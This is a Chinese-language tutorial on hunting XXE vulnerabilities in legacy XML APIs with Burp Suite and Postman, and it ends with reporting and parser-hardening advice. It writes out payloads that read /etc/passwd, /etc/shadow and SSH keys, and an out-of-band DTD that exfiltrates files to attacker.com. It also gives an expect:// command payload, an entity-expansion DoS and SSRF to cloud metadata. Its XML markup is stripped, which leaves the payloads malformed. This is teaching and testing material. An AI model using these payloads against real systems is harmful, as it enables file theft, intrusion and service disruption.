漏洞实战指南)
1. 项目概述从JSON到XML一次被忽视的渗透测试视角转换在今天的Web安全测试中JSON几乎成了API交互的代名词。无论是渗透测试新手还是经验丰富的安全研究员大家的目光和工具链都习惯性地聚焦在JSON格式的请求与响应上。Burp Suite的Intruder模块、Repeater标签Postman的测试脚本似乎都是为JSON量身定制的。这导致了一个有趣的现象当我们面对一个遗留的、或者内部的老旧系统时如果它还在使用XML作为数据交换格式很多测试者会下意识地觉得“这玩意儿太老了没什么好测的”或者因为对XML结构不熟悉而草草略过。这正是我们最大的思维盲区。我干了十多年渗透测试见过太多因为这种“格式歧视”而错失的高危漏洞。XML尤其是那些没有经过严格安全配置的XML解析器简直就是一座尚未被充分挖掘的漏洞金矿。其中最典型、也最危险的就是XML外部实体注入也就是我们常说的XXE。这个漏洞允许攻击者读取服务器上的任意文件甚至可能造成服务器端请求伪造、端口扫描在特定条件下还能导致远程代码执行。它的危害等级常常被严重低估。所以今天我们不聊JSON就专门聊聊怎么用你手头最熟悉的工具——Burp Suite和Postman去系统性地挖掘那些隐藏在老旧XML接口中的XXE漏洞。你会发现工具还是那些工具但换一个视角就能打开一片全新的攻击面。2. 核心思路与工具定位为什么是Burp和Postman的组合在开始实操之前我们必须先理清Burp Suite和Postman在这项工作中的不同角色和协同方式。这不是简单的二选一而是让它们各司其职形成一套高效的测试流水线。2.1 Burp Suite你的侦察兵与主力爆破手Burp Suite的核心价值在于流量拦截、修改与自动化测试。在针对XML的测试中它扮演着不可替代的角色流量捕获与发现通过Burp Proxy所有经过浏览器的HTTP/HTTPS流量无所遁形。这是发现那些隐藏在网页表单、AJAX请求或SOAP/WSDL服务中的XML端点的第一步。很多老系统的XML接口可能并不在前端明显展示而是通过特定的内容类型如application/xml或text/xml在后台通信。精准修改与重放Burp Repeater是手动测试XXE的利器。当你发现一个可疑的XML请求时可以一键发送到Repeater然后在消息编辑器里直接修改XML结构插入我们的恶意实体声明DTD并观察响应变化。这种即时反馈的交互式测试是理解应用程序如何解析XML的关键。自动化模糊测试Burp Intruder虽然常被用于参数爆破但在XXE测试中它可以用来系统性地对XML请求中的不同位置如标签值、属性值插入各种XXE Payload进行批量测试。特别是对于“盲XXE”Blind XXE即漏洞存在但响应中不直接回显数据的情况Intruder配合Collaborator功能专业版或外带数据通道OOB测试效率远超手动。注意很多测试者只在Repeater里改个值就认为测完了这是不够的。XXE Payload的注入点可能很灵活需要测试所有可能被解析器处理的位置。2.2 Postman你的接口地图绘制员与脚本化测试平台Postman的角色则更偏向于接口管理、前期侦察和复杂场景构建接口梳理与文档化对于大型老系统可能存在着数十个甚至上百个不同的XML API端点。用Postman可以将它们分门别类地收集到不同的Collection中为每个请求添加描述、保存成功的请求示例。这相当于为你绘制了一张清晰的“攻击地图”避免在测试中遗漏接口。预请求脚本与测试脚本这是Postman的杀手锏。我们可以用JavaScript编写“预请求脚本”动态生成包含XXE Payload的XML主体。例如脚本可以自动读取一个包含多种DTD变体的文本文件循环替换到请求体中发送。这比在Burp里手动一个个粘贴要高效和系统得多。环境变量与数据驱动你可以将目标服务器的基本URL、文件路径如file:///etc/passwd、file:///c:/windows/win.ini、或用于OOB测试的Collaborator域名设置为环境变量。这样一套测试用例可以快速适配到不同的测试目标实现测试的“工程化”。用于绕过WAF/输入过滤的复杂Payload构建有些WAF或应用程序过滤器会检测简单的!ENTITY ... SYSTEM ...结构。在Postman的脚本编辑器中你可以方便地构建多层次的、经过编码的、或引用远程DTD文件的复杂Payload这些在Burp的单一输入框里操作起来会比较繁琐。两者的工作流通常是这样的先用Burp Proxy进行日常浏览或爬取发现所有XML接口并初步筛选出可能解析XML的请求。然后将这些请求的cURL命令导出导入到Postman中进行整理和初步的脚本化测试。对于需要深度交互、模糊测试或利用漏洞的环节再回到Burp Suite的Repeater和Intruder中进行。两者通过“导入/导出”功能无缝衔接。3. 实战环境搭建与目标识别在开始真正的攻击之前我们需要一个安全的环境进行练习。强烈建议不要在未经授权的任何系统上进行测试。3.1 搭建本地靶场对于XXE学习最好的起点是PortSwigger提供的Web安全学院Web Security Academy中的XXE实验模块。这些实验室环境是故意设计成含有XXE漏洞的并且提供了从基础到盲注的各种场景。你只需要一个账号免费注册即可在浏览器中直接访问靶场无需自己搭建复杂的服务器环境。如果你想在本地搭建可以考虑DVWADamn Vulnerable Web Application的高难度设置或者专门针对XXE的靶场如“XXE Lab”。但Web安全学院的实验已经足够系统和全面。3.2 识别潜在的XXE攻击面不是所有接收XML的接口都一定存在XXE也并非所有XXE都能被简单利用。我们需要有策略地寻找高价值目标文件上传功能这是经典场景。许多系统允许上传XML格式的配置文件、数据文件如Office 2007的.docx、.xlsx文件本质是ZIP包内的XML如果服务器端会解析这些上传的XML文件那么XXE漏洞就可能存在。在Burp中你需要重点关注Content-Type为multipart/form-data或application/xml的上传请求。SOAP API老旧的Web Service大量使用基于XML的SOAP协议。SOAP请求的Body部分就是标准的XML。在Burp的HTTP历史记录中寻找Content-Type: text/xml且包含类似soap:Envelope标签的请求。REST API中的XML支持尽管REST通常与JSON关联但很多API通过Accept和Content-Type头部支持多种格式。你可以尝试将请求的Content-Type从application/json改为application/xml并相应地将JSON body转换为XML结构看看服务器是否接受并处理。这常常能发现隐藏的攻击面。单点登录SSO或认证令牌有些系统使用SAML协议进行身份认证SAML断言就是XML格式的。篡改SAML断言中的XML部分可能引发XXE。文档解析服务系统内可能集成了PDF生成、报表导出、数据转换等功能这些功能背后可能调用了XML解析器如Java的SAXParser、DocumentBuilderFactoryPHP的simplexml_load_stringPython的lxml.etree等。在Burp Suite的Target - Site Map中你可以使用过滤器功能快速筛选出包含“xml”关键词或者Content-Type为XML的请求这是快速定位目标的高效方法。4. 手动利用Burp Repeater进行基础XXE测试假设我们已经通过Burp Proxy捕获到了一个向/api/updateProfile发送的POST请求其Body是XML格式?xml version1.0 encodingUTF-8? user id12345/id nameJohn Doe/name emailjohnexample.com/email /user我们的目标是测试服务器是否在解析此XML时会处理外部实体声明。4.1 测试步骤详解发送到Repeater在Proxy - HTTP history中右键该请求选择“Send to Repeater”。构造基础XXE Payload我们的思路是在XML文档内部定义一个DTD文档类型定义并在其中声明一个外部实体然后引用这个实体。将原请求修改为?xml version1.0 encodingUTF-8? !DOCTYPE foo [!ENTITY xxe SYSTEM file:///etc/passwd ] user id12345/id nameJohn Doe/name emailxxe;/email /user关键点解析!DOCTYPE foo [...]定义了一个根元素为foo的文档类型。这里的foo可以是任意名字不一定需要和后续的XML根元素匹配在这个例子中根元素是user很多解析器对此并不严格校验。这是XXE Payload的常见起点。!ENTITY xxe SYSTEM file:///etc/passwd声明了一个名为xxe的实体其系统标识符即内容指向file:///etc/passwd。SYSTEM关键字表示这是一个外部实体。file://是文件协议用于读取本地文件Linux/Unix系统。xxe;在XML文档体中引用我们定义的xxe实体。解析器在处理到这里时会尝试用实体内容即/etc/passwd文件的内容来替换xxe;这个占位符。发送请求并观察响应点击“Send”按钮。此时你需要像鹰一样仔细审视服务器的响应。成功迹象响应中email标签内的内容不再是johnexample.com而是变成了/etc/passwd文件的内容一堆用户名和目录信息。恭喜你一个标准的XXE文件读取漏洞被证实了。无回显情况响应可能是一个错误信息如“内部服务器错误”或者是一个正常的业务响应但没有任何文件内容。这不意味着漏洞不存在。可能是解析错误实体引用被解析了但内容被服务器端逻辑过滤或没有输出到当前响应中盲XXE。路径错误目标系统是Windowsfile:///etc/passwd路径无效。应尝试Windows路径如file:///c:/windows/win.ini。权限问题Web进程没有权限读取目标文件。4.2 进阶Payload与位置探测基础的Payload可能被简单的过滤规则拦截。我们需要灵活变通尝试不同的注入点不要只替换email的值。尝试替换id、name甚至尝试在属性中注入例如将请求改为user idxxe; nameJohn Doe/name /user有些XML解析器只在文本节点中展开实体有些则在属性值中也会展开。使用CDATA段绕过可能的过滤如果服务器对输出内容做了HTML编码过滤导致我们读取的文件内容被转义如变成lt;可以尝试利用外部DTD和参数实体构造CDATA段将文件内容包裹起来避免被转义。这是一个相对高级的技巧需要构造一个托管在攻击者服务器上的外部DTD文件。测试盲XXE如果服务器解析了实体但不将结果返回我们需要利用“带外数据”Out-of-Band, OOB技术来确认漏洞。将Payload中的文件路径替换为一个由我们控制的HTTP服务器URL!DOCTYPE foo [!ENTITY % xxe SYSTEM http://attacker.com/evil.dtd %xxe;]然后在你的VPS上监听HTTP请求。如果服务器解析了此实体它会尝试向http://attacker.com/evil.dtd发起请求从而被你监听到。这就是漏洞存在的确凿证据。evil.dtd文件内容可以进一步用于数据外带。实操心得在Repeater中测试时养成使用“注释”功能的习惯。为每一个测试的Payload变种添加简短注释记录测试目的、时间和结果。当测试案例多起来后这些注释能帮你快速理清思路避免重复劳动。5. 利用Burp Intruder进行自动化XXE Fuzzing手动测试几个点之后我们需要扩大测试范围。Burp Intruder可以自动化地对一个请求的多个位置插入大量不同的Payload进行测试。5.1 配置Intruder攻击发送到Intruder从Proxy历史或Repeater中右键目标请求选择“Send to Intruder”。选择攻击类型与标记位置在Intruder的“Positions”标签页Burp通常会自动标记一些参数。我们需要清除所有默认标记然后手动标记出我们怀疑的所有可能注入点。例如在之前的XML中我们可以将12345、John Doe、johnexample.com这三个值分别标记为§payload§。更激进一点可以把整个email标签内容包括标签本身都标记上测试标签名是否也能被注入。攻击类型选择对于XXE测试“Sniper”模式逐个位置测试和“Pitchfork”模式多个位置使用不同Payload列表最常用。通常先从“Sniper”开始。准备Payload集合切换到“Payloads”标签页。这是Intruder的核心。我们需要准备一个高质量的XXE Payload字典。这个字典不应该只是简单的文件路径列表而应该包含基础实体声明各种不同语法的DTD声明如!DOCTYPE foo [!ENTITY xxe SYSTEM file:///etc/passwd ]!DOCTYPE data [!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd;]等。多种协议尝试除了file://还有http://、https://、ftp://、gopher://、jar:、netdoc:等。不同语言、不同解析库支持的协议可能不同。常见敏感文件路径针对Linux和Windows系统的路径列表。Linux:/etc/passwd,/etc/shadow,/proc/self/environ,/home/用户名/.ssh/id_rsa, 应用的配置文件等。Windows:c:\windows\win.ini,c:\boot.ini,c:\windows\system32\drivers\etc\hosts等。编码后的Payload对Payload进行URL编码、HTML实体编码、CDATA包装等以绕过潜在的输入过滤。设置结果匹配与过滤在“Options”标签页的“Grep - Match”部分可以添加一些我们期望在成功响应中出现的字符串例如“root:x:”、“[boot loader]”Windows win.ini内容等。这样Intruder在攻击完成后可以高亮显示包含这些关键词的响应便于我们快速筛选成功命中。5.2 执行与分析点击“Start attack”Intruder会开始自动发送请求。你需要密切关注“Results”窗口长度Length和状态码Status异常的响应长度比如突然变得很长可能是读入了文件内容或不同的状态码如500错误都值得重点查看。Grep匹配之前设置的关键词如果被匹配到该列会显示为“Yes”。响应内容双击任何可疑的行查看原始响应内容确认是否成功读取了文件或触发了OOB请求。避坑技巧Intruder攻击会产生大量请求可能触发目标的WAF或速率限制。在“Options” - “Request Engine”中合理设置请求间隔Throttle例如每秒3-5个请求可以降低被屏蔽的风险。同时建议先在Repeater中手动测试几个Payload确认目标对XML的容忍度再开展大规模Fuzzing。6. 利用Postman进行脚本化与复杂场景测试当测试需要更复杂的逻辑或需要管理大量测试用例时Postman的优势就体现出来了。6.1 构建动态XXE Payload的预请求脚本假设我们有一个Postman请求其Body是XML格式。我们可以在“Pre-request Script”标签页中编写JavaScript动态生成Payload。// 预请求脚本动态生成包含随机文件路径的XXE Payload const filePaths [ file:///etc/passwd, file:///c:/windows/win.ini, file:///proc/self/environ, http://{{collaborator-domain}}/test // 使用环境变量存储Collaborator域名 ]; // 随机选择一个文件路径增加测试的不可预测性 const randomPath filePaths[Math.floor(Math.random() * filePaths.length)]; // 构建XXE Payload const xxePayload !DOCTYPE foo [!ENTITY xxe SYSTEM ${randomPath} ]; // 获取当前的请求Body const xmlBody pm.request.body.raw; // 一个简单的替换假设原XML第一行是 ?xml version... 我们在其后插入DTD。 // 更健壮的做法是使用真正的XML解析器来操作但这里为了演示用字符串替换。 const modifiedBody xmlBody.replace(?xml version1.0 encodingUTF-8?, ?xml version1.0 encodingUTF-8?\n${xxePayload}); // 将实体引用xxe;插入到我们想测试的位置例如email字段。 // 这里假设原body中有一个emailoldexample.com/email我们将其替换。 const finalBody modifiedBody.replace(/email.*?\/email/, emailxxe;/email); // 更新请求Body pm.request.body.update({ mode: raw, raw: finalBody, options: { raw: { language: xml } } }); // 在Postman控制台输出日志便于调试 console.log(Injected payload for path: ${randomPath});这个脚本会在每次请求发送前自动从列表中选一个路径构造XXE Payload并更新请求体。你可以通过运行Postman的Collection Runner来批量执行这个请求实现自动化测试。6.2 利用环境变量进行OOB测试对于盲XXE我们需要一个外部的、自己能接收HTTP请求的服务器来确认漏洞。Burp Collaborator是首选但Postman也可以配合其他公网服务器使用。设置环境变量在Postman中创建一个环境例如命名为“XXE_Test”。添加一个变量collaborator-domain值为你的Burp Collaborator子域名如xxxxx.oastify.com或你自己的服务器域名。在Payload中引用变量在请求Body或预请求脚本中使用双花括号语法引用变量http://{{collaborator-domain}}/log。监控外带请求在你的Burp Collaborator客户端或自己服务器的日志中查看是否有来自目标服务器的HTTP请求。如果有则证明目标解析了外部实体并发起了网络请求盲XXE漏洞存在。6.3 测试用例管理与数据驱动将不同的XXE Payload基础读取、OOB探测、复杂绕过等保存为一个JSON或CSV文件。在Postman的Collection Runner中选择“Data”文件然后可以在请求的Body中通过{{columnName}}的方式引用数据文件中的每一行数据。这样你可以用一份数据文件驱动成百上千次变体测试非常适合对单个接口进行深度Fuzzing。7. 高级利用技巧与常见绕过手段在实际对抗中应用程序可能部署了各种防护措施。我们需要掌握一些高级技巧。7.1 利用参数实体与外部DTD当直接的内联实体声明被过滤时可以尝试使用参数实体并引用外部DTD文件。参数实体以%开头主要在DTD内部使用。攻击步骤在攻击者控制的服务器上如http://attacker.com/evil.dtd放置一个DTD文件内容如下!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/exfil?data%file; %eval; %exfil;这个DTD定义了一个参数实体%file读取文件另一个参数实体%eval动态创建一个向攻击者服务器发送数据的实体%exfil。向目标发送的XML Payload变为!DOCTYPE foo [!ENTITY % xxe SYSTEM http://attacker.com/evil.dtd %xxe;] user.../user目标解析器会获取外部DTD并执行其中的指令尝试将文件内容通过HTTP GET请求发送到攻击者的服务器。这种方法经常能绕过一些简单的基于关键词匹配的WAF规则因为它将恶意负载拆分到了远程。7.2 针对不同语言和解析器的特定Payload不同的XML解析库如PHP的libxml、Java的JAXP、Python的lxml、.NET的XmlDocument在默认配置和支持的协议上可能有细微差别。PHP expect模块如果PHP安装了expect扩展罕见但危险可以使用expect://协议执行命令!ENTITY xxe SYSTEM expect://id。Java除了file://和http://还可以尝试netdoc://等同于file://以及利用Java的XML解析特性进行更复杂的攻击。XXE导致的拒绝服务DoS可以尝试使用“亿兆实体扩展”攻击定义一个递归引用的巨大实体消耗服务器内存!ENTITY a b;b;b;... !ENTITY b c;c;c;...。注意此攻击具有破坏性仅限授权测试环境使用。7.3 编码与包装绕过UTF-7编码有些解析器在特定配置下会处理UTF-7编码的XML。可以将整个Payload转换成UTF-7。在Burp Decoder模块中可以轻松完成编码转换。CDATA包装如前所述通过外部DTD构造CDATA段将文件内容包裹在![CDATA[ ... ]]中可以防止输出时被转义。混合内容类型有时服务器端代码根据Content-Type头部决定解析器。尝试将Content-Type改为application/x-www-form-urlencoded但Body仍然是XML格式或者使用multipart/form-data在某个部分中嵌入XML。这可能会绕过一些粗粒度的内容类型检查。8. 漏洞确认、报告与修复建议8.1 如何确认漏洞的真实性与影响可回显文件读取成功读取到/etc/passwd、win.ini等系统或应用配置文件是最直接的证据。尝试读取Web应用的源代码如/var/www/html/config.php评估影响。盲XXE确认通过Burp Collaborator或自己的服务器接收到来自目标的HTTP/DNS请求证明外部实体被解析。可以进一步利用此通道外带数据如使用FTP协议或HTTP带参数请求。SSRF利用通过http://实体让服务器向内部网络发起请求探测内网服务如http://169.254.169.254/latest/meta-data/用于AWS元数据服务。这证明了XXE漏洞可以转化为服务器端请求伪造漏洞。拒绝服务测试仅在获得明确授权且了解风险后进行。如果简单的实体扩展导致服务器响应时间极长或崩溃也说明存在安全隐患。8.2 编写漏洞报告要点一份好的XXE漏洞报告应该清晰、可复现漏洞名称XML外部实体注入XXE。风险等级通常为高危或严重取决于可读取文件的敏感度或是否可进一步利用。漏洞位置提供完整的URL、HTTP方法POST/GET。请求与响应提供触发漏洞的原始HTTP请求包含恶意XML的Body以及服务器的响应包含读取的文件内容或错误信息。使用Burp的“Copy as curl command”或“Save item”功能保存证据。复现步骤一步一步说明如何利用。影响分析说明可以读取哪些敏感文件是否可进行SSRF、DoS等。修复建议禁用外部实体解析这是最根本的解决方案。在代码中配置XML解析器禁用DTD和外部实体。Java (DocumentBuilderFactory)factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);和factory.setFeature(http://xml.org/sax/features/external-general-entities, false);等。Python (lxml)使用lxml.etree.XMLParser(resolve_entitiesFalse)。PHP (libxml)libxml_disable_entity_loader(true);。使用更安全的替代品如JSON、YAML或使用仅处理数据的简单XML解析器。输入验证与过滤对用户输入的XML进行严格的模式验证XSD过滤掉!DOCTYPE、!ENTITY、SYSTEM等关键词。但这种方法容易被绕过应作为辅助手段。白名单控制输出对输出到HTTP响应的内容进行严格的编码或过滤防止敏感数据泄露。8.3 测试后的反思与防御视角作为测试者在找到漏洞并报告后不妨从防御者角度思考为什么这个漏洞会存在是开发人员对XML风险认知不足还是使用的第三方库默认配置不安全在代码审查和组件扫描阶段如何能提前发现这类问题这种换位思考能极大提升你的安全综合能力。挖掘老系统中的XML漏洞就像一次考古探险。工具Burp Suite, Postman是你的铲子和刷子但更重要的是你对XML协议本身、解析器行为以及系统架构的理解。摆脱对JSON的路径依赖主动去探索那些看似过时却可能充满风险的角落是一个优秀安全测试人员的必备素质。每一次成功的XXE挖掘不仅是一次漏洞的发现更是对应用程序数据流边界的一次深刻审视。